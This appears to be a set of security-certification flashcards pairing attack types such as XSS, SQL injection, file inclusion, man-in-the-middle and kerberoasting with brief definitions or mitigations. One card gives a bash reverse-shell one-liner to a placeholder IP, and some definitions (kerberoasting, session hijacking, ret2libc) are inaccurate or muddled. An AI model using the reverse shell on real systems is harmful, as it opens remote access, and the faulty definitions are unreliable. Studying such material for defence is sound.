ATTACKS Flashcards
Elicitation attack
obtaining information without directly asking for it
Spear Phishing
targets specific individuals or groups within an org
Reflected XSS
input sanitization (< >…)
SQL Injection Stacked
parameterized queries
DOM XSS
input sanitization (< > …)
Local File Inclusion
sandbox req
Command Injection
sandbox req
SQL Injection Union
Parameterized queries
SQL Injection ERROR
parametrized queries
Remote File Inclusion
Sandbox
Command injection
input sanitization $
URL Redirect
prevent external calls
Zigbee
IoT
internet of things
Zigbee is a wireless technology developed as an open global standard to address the unique needs of low-cost, low-power wireless IoT networks.
Reverse Shell
bash -i >& /dev/tcp/[dest ip]/[port] 0>&1
Point in Time Assessment
Compliance-based & Goals-based assessments.
Man in the Middle
ARP Spoofing Replay Relay SSL Striping Downgrade
Invalidated Redirect
a web application accepts untrusted input in such a way that it causes a visitor to be redirected to another site.
Session Hijacking
Session hijacking is used to steal session IDs in which malicious code is installed on the website of a client, and then the cookie for this is stolen.
Four types of vulnerability assessments:
Active
Passive
Internal
External
De Authentication
kick devices off router forcing them to re-connect
ret2libc
privilege escalation inside linux
buffer overrun exploit
kerberoasting
a password-cracking attack in which credentials are stolen from memory and cracked offline
VLAN double-tag
802.1Q
